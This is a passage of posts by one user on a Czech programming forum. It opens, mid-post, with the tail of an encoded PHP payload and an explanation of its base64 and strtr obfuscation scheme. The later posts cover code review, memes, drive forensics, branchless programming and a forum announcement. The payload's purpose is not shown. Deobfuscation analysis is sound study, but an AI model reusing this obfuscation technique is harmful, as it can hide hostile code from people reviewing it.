V9dUO9rihlvP2lTzF0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwHP29aWOwaWRG7fKT9fKTbWB5dWOkyUISLgoA0EOkcnYEvgoJTZF0nJYulJYEbgBqkPopcJf0lPopcPovenxLAYIulJYSTiIXTN19vgoJepOETNIvTZF0nJYulJYulJYSTiIuepOEeJf0lU3SkUbETNIlviOkcnhk7fKelJYulJYulJYulJYS3gOkLihuenYEbgBqkJf0lNbwXiOETNIlviOlTnhuXsx0libVLN2QTZF0nJYulJYulJYulJYulJYulJOkbnYXbgBqko2w4goA0NclviOkcCIJyJI4vibkLihvTJYPbJYEbgBqkJx0ICIJlpIPlpOiTUOQXshJaCIJTZF0nJYulJYulJYulJYulJYulJYulJYuvibkLiBVcNkjWJf0lpOiTUOQ7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulP2qyN2wvgoJepOEenxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwXNtJ7fKT9fKe/sl==";
    
    //$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))))
    echo $O00O0O."(";
    echo $O0OO00."(";
    echo $OO0O00."(,";
    //echo $O0O000.",";
    echo ($OO0000*2)."),";
    echo $OO0O00."(,";
    //echo $O0O000.",";
    echo $OO0000.",";
    echo $OO0000.")";
    echo $OO0O00."(,0,";
    //echo $O0O000.",0,";
    echo $OO0000."))))";
    
    echo "\n\n";
    
    echo $OO0O00($O0O000,$OO0000*2)."\n\n";
    echo $OO0O00($O0O000,$OO0000,$OO0000)."\n\n";
    echo $OO0O00($O0O000,0,$OO0000);

    Ve výsledku je tento rozbalovač postavený takto:

    base64_decode(strtr(substr($2nd_enkrypt,104),substr($2nd_enkrypt,52,52)substr($2nd_enkrypt,0,52))))

    Já jsem si na indexu říkal, proč skládá do proměnné i znaky "52" a takto je proměnná využita ve druhém rozbalení jako odrozjebnutí rozjebaného base64 enkryptu (kvůli týpkům, podobným nám, snažící se to rozluštit jen pomocí base64 dekodéru - který jim díky rozjebnutí vyflusne tak leda hovno)

    Zásadní je zde funkce strtr (https://www.php.net/manual/en/function.strtr.php) - proháže znaky v enkryptu. Samotný base64 enkrypt začíná až na 105 znaku, prvních 104 znaků je maska pro strtr funkci k přeházení písmen.

    • Líbí se mi to! (+1) 1
  9. před 15 hodinami, Scydo said:

    To je sice dobrá přípomínka ale tohle je (k tomu ještě 3 roky starý) tutoriál a ne publikovaný FS. Návod je plně zaměřený na tvorbu Banky, to znamená na vklad, výběr a manipulace. Tvoje připomínka už spadá do kategorie optimalizace.
    Mimochodem, všimni si poslední věty:

    Tím myslím, že tohle je jedna z možností, jak zpracovat Banky, ne celý FS.

    Náhodou je to velmi dobrá připomínka, kterou je potřeba brát v potaz nejen v těchto typech systémů. Overflow je vážná bezpečnostní díra, se kterou by se mělo počítat od základu :)

    • Děkuji (+1) 1
  10. Celá sestava toho kódu je úplně špatně.. 

    Nejdřív voláš query na select všeho v samp_warps. Jinými slovy - načteš celý obsah tabulky. Z toho celého obsahu si odneseš jen počet položek a uděláš z toho cyklus (který jede od nuly do <= rowCount - o jednu víc). Uvnitř ZNOVU postupně voláš query na všechny položky tabulky i když už ty data jednou máš. Ten overhead by při větším množství položek byl neskutecnej. 

    Využij výsledků té první query, ve které už máš kompletně všechna potřebná data a cykluj zkrze ta, je to 10x rychlejší na výkon i o mnohonásobně jednodušší na sepsání 

    Error máš proto, že se snažíš vložit array do druhé array na jedno místo. String je ve skutečnosti array znaků, takže spojení stringu funguje jako nalepení dvou array na sebe, chceš mít array obsahující stringy, musíš jej deklarovat jako array v array. 

  11. Thread pro postování vtipných meme obrázků a videí :) 
    (Aneb jak nahnat počet příspěvků 😄 )

    Pravidlo je jednoduché: Každý příspěvek musí obsahovat nějaký druh meme. 
    EDIT: Druhé pravidlo: nehnat posty za sebou. Počkejte až další post napíše někdo jinej, nebo přidejte meme do předchozího příspěvku.

    A nebojte se jich klidně přidat i více najednou!!

    a8GEepV_700bwp.png

    FB_IMG_1595933278386.jpg

    azm2vzp_460s.png

    e8be9bffe3576d75a58b9139203798f9.0.jpeg

    aYyVeR7_700b.png

    112701185_2756607644610328_5624681959833

    • Líbí se mi to! (+1) 1
  12. před 15 hodinami, Janik22 said:

    @Scydo prosím opravíš mi to

     

    Jestli se chceš něco naučit, tak musíš začít řešit věci sám :) Scydo ti napsal kde je chyba a jak ji vyřešit ( dokonce doslovně) Ty ho teď žádáš o další jeho čas, který by mohl využít produktivněji, k tomu aby ti naservíroval hotovou opravu. Která tě stejně nic nenaučí 

    • Paráda! (+1) 2
  13. před 5 hodinami, tck said:

    Nie jedna sa o to ze šef ma podozrenie ze mu vybrali HDD s NTB a skopírovali data... btw ja nepoznam nič aby som získal log z daného hdd jedine zašifrovať bitlockerom

    https://pawno.cz/index.php?/problém-xy/

    Co se týče jakékoliv informace na HDD úrovni, podle které by se dalo zjistit cokoliv o tom po čem jdeš ty, to umí jen HDD pro servery s technologiemi navíc, které jsou pro logging určeny.. Sám mám trochu pochybnosti že ani z HDD-level logů nezjistis nic podstatného. Spíš bych pátral po stopách jiného HW v notasu, např jiný HDD - vždy je šance že to dotyčný mohl klonovat na stejném HW

    • Líbí se mi to! (+1) 1
  14. Nedávno jsem narazil na zajímavou problematiku, která se využívá při stavbě time-sensitive prostředí a šifrovacích algoritmů. Jde o tzv. branchless programming - tedy programování bez větví.

    Toto téma je zajímavé hlavně pro ty z vás, jenž zaujme malá zajímavost o programování. V reálné praxi se tyto "triky" využívají jen pro šifrovací funkce a při programování grafických shaderů. Moderní kompilátory high-level jazyků jsou výbornými optimizéry - snaží se kompilovat co nejjednodušeji zchroupatelný kód pro procesory zvolené architektury. V praxi to znamená, že jsou schopny generický kód s podmínkami relativně dobře zhodnotit a podmínky rovnou přeložit jako jejich branchless verzi. Toto se ovšem týká jen jednodušších řešení, pro které branchless verze má nějaký smysl. 

    Branchless programming není něco, co se musí, nebo mělo by se, striktně dodržovat - ba naopak, kompilátory ve většině případů dokáží nejlépe určit, zda-li je překládaný kód výkonnější v branchless verzi a rovnou jej tak přeloží. Při programování platí jednoduché pravidlo - programovat hlavně čitelně, optimalizovat až při potřebě rychlejšího výkonu. A před samotnou optimalizací (a případným branchless kodingem) zvážit, zda-li se zapsaný algoritmus nedá vyřešit efektivnějším způsobem.

    Branch (větev, blok, sekce)

    Kód se jakoukoliv podmínkou rozděluje a větví - každé této oddělené části, či bloku kódu se říká branch (neboli větev). 

    if(something == 10)
    {
      //Branch A
    }
    else
    {
      //Branch B
    }

    Vzhledem ke způsobu funkci procesoru je každý branch zbytečná zátěž navíc - toto platí několikanásobně u GPU výpočtů, protože procesorová pipeline spouští několik instrukcí současně, tímto se mohou spouštět obě cesty podmínky zároveň a po vyhodnocení podmínky se všechny neplatné výpočty (branch, pro kterou není splněna podmínka) prostě zahodí. Aneb kompilátor vytvoří instrukce pro zhodnocení podmínky a v případě nepravdy "přeskočí" na jiný než následující řádek v kódu - toto je operace, která je pro procesor zbytečně vytěžující.

    Branchless v praxi

    Představme si následující funkci min() - která zjistí, které ze dvou předaných čísel je menší než druhé:

    function min(int a, int b)
    {
      if(a < b)
        return a; //Branch A
      else
        return b; //Branch B
    }

    A nyní její branchless verzi:

    function min(int a, int b)
    {
      return a*(a<b)+b*(b<=a);
    }

    Je trochu nečitelná, ale víceméně jednoduchá. Dle většiny programovacích jazyků, je tento zápis vyhodnocen například takto:

    a = 4;
    b = 6;
    
    return (4*true) + (6*false) 
    =
    return (4*1) + (6*0)
    =
    return 4 + 0
    =
    return 4

    Nejen, že jsme kompletně vynechali podmínku v kódu, ale také zkrátili funkci ze 4 řádků na jeden a celou operaci provedli jen matematickým výpočtem. 

    Tato funkce je velmi jednoduchá operace, nicméně její branchless verze se na první pohled může zdát poměrně nečitelná - proto se překlad do těchto branchless funkcí nechává více-méně na kompilátorech, díky kterým můžeme psát čitelný kód a i přesto nám jej kompilátor přeloží v optimalizované verzi. S každou přibývající složitostí a komplexností je branchless kód nečitelnější a zamotanější. Například funkce pro přepis znaků řetězce na velká písmena:

    function toUpper(string text)
    {
      for(int i=0; i<text.length; i++)
      {
        text[i] -= 32 * (text[i] >= 97 && text[i] <= 122);
      }
      return text;
    }
    
    //97 = 'a'
    //122 = 'z'
    //32 = 'Z' - 'a' offset

    Závěr

    I přesto, že toto není návod, tak doufám, že jsem vám předal alespoň nějakou zajímavou informaci. Pokud se mi povedlo vás zaháčkovat a jste hladoví po dalších informacích, tak vám nabídnu další zdroje, ze kterých jsem čerpal při sepisování tohoto topicu. Branchless programming je zajímavá technika - zřídka kdy využitelná při běžné praxi, nicméně způsobů jak vyčarovat branchless verzi složitých funkcí, je nepřeberné kvantum.

    Další zdroje:

    https://stackoverflow.com/questions/6133322/what-does-a-branchless-if-in-c-look-like
    https://hbfs.wordpress.com/2008/08/05/branchless-equivalents-of-simple-functions/
    https://stackoverflow.com/questions/31897718/branchless-conditionals-on-integers-fast-but-can-they-be-made-faster
    https://stackoverflow.com/questions/32107088/how-can-i-make-branchless-code

    • Děkuji (+1) 2
    • Líbí se mi to! (+1) 2
  15. Posledních 7 dní moderátoři a administrátoři usilovně pracovali na přestavbě struktur sekcí. Staré kategorie a sekce byly více-méně vloženy kompaktněji do sebe a byly vystaveny i sekce nové.

    Práce ještě není dokončena, chybí ještě několik sekcí, které jsou prozatím skryty dokud moderátoři nerozřadí příspěvky do nových sekcí. V tuto chvíli se to týká ještě kolem 20k příspěvků (které prozatím nejsou dostupné). Proto prosím, pokud se toto týká některého z vašich příspěvků, mějte strpení.

    Celkové změny se držely schématu - návrhu, který je umístěný na trellu
    Pawno_New_Scheme.pdf

    V průběhu dalších několika týdnů se budou nové sekce ještě kosmeticky upravovat a s největší pravděpodobností postavíme ještě další nové podsekce pro zde ještě nevídaná témata. Pokud máte nápady nebo návrhy na další úpravy, podělte se s námi o ně. 

    Díky za trpělivost při této delší odstávce. Já nicméně věřím, že to stálo za to a změna, kterou tato přestavba přinesla je příjemným krokem vpřed vstříc novému nastartování tohoto fóra :)
    Děkuji hlavně i našim moderátorům, kteří si s touto mravenčí prací musí již rvát vlasy, a proto prosím i vy jako členové jim poděkujte za jejich odvedenou otročinu :)

    • Paráda! (+1) 1
    • Řekni nám o tom ještě něco 1
    • Děkuji (+1) 1
×
×
  • Create New...